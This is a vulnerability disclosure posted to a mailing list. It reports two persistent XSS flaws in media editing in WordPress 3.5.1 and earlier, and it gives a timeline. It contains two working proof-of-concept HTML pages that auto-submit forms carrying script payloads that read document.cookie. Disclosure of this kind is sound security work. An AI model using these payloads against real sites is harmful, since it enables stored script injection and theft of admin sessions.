Hello list! These are Cross-Site Scripting vulnerabilities in WordPress. Which I've disclosed last week. At WordPress 3.5.2 release, WP developers mentioned about three holes as "security hardenings" (to decrease their importance and to make it looks like there were less fixed holes). One of these holes is "Cross-Site Scripting (XSS) when Editing Media". After I checked media editing functionality, I've found that it was not one hole, but two holes and these were persistent XSS. ------------------------- Affected products: ------------------------- Vulnerable are WordPress 3.5.1 and previous versions. ---------- Details: ---------- Cross-Site Scripting (WASC-08): These are persistent XSS vulnerabilities at page http://site/wp-admin/post.php?post=1&action=edit in parameters excerpt and content. For the attack it's needed to bypass protection against CSRF (to receive token _wpnonce, which can be done with using reflected XSS). WordPress 3.5.1 XSS-1.html <html> <head> <title>WordPress 3.5.1 XSS exploit (C) 2013 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/wp-admin/post.php" method="post"> <input type="hidden" name="_wpnonce" value="cbad9af0d3"> <input type="hidden" name="user_ID" value="1"> <input type="hidden" name="action" value="editpost"> <input type="hidden" name="post_author" value="1"> <input type="hidden" name="post_type" value="attachment"> <input type="hidden" name="post_ID" value="1"> <input type="hidden" name="excerpt" value="</textarea><script>alert(document.cookie)</script>"> <input type="hidden" name="save" value="Update"> </form> </body> </html> The code will execute just after sending request at the page http://site/wp-admin/post.php?post=1&action=edit and at subsequent visiting this page. WordPress 3.5.1 XSS-2.html <html> <head> <title>WordPress 3.5.1 XSS exploit (C) 2013 MustLive. http://websecurity.com.ua</title> </head> <body onLoad="document.hack.submit()"> <form name="hack" action="http://site/wp-admin/post.php" method="post"> <input type="hidden" name="_wpnonce" value="cbad9af0d3"> <input type="hidden" name="user_ID" value="1"> <input type="hidden" name="action" value="editpost"> <input type="hidden" name="post_author" value="1"> <input type="hidden" name="post_type" value="attachment"> <input type="hidden" name="post_ID" value="1"> <input type="hidden" name="content" value="</textarea><script>alert(document.cookie)</script>"> <input type="hidden" name="save" value="Update"> </form> </body> </html> The code will execute just after sending request at the page http://site/wp-admin/post.php?post=1&action=edit and at subsequent visiting this page or the page http://site/page_name/attachment/1/. ------------ Timeline: ------------ 2013.06.21 - released WordPress 3.5.2. 2013.06.29 - disclosed at my site (http://websecurity.com.ua/6616/). Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua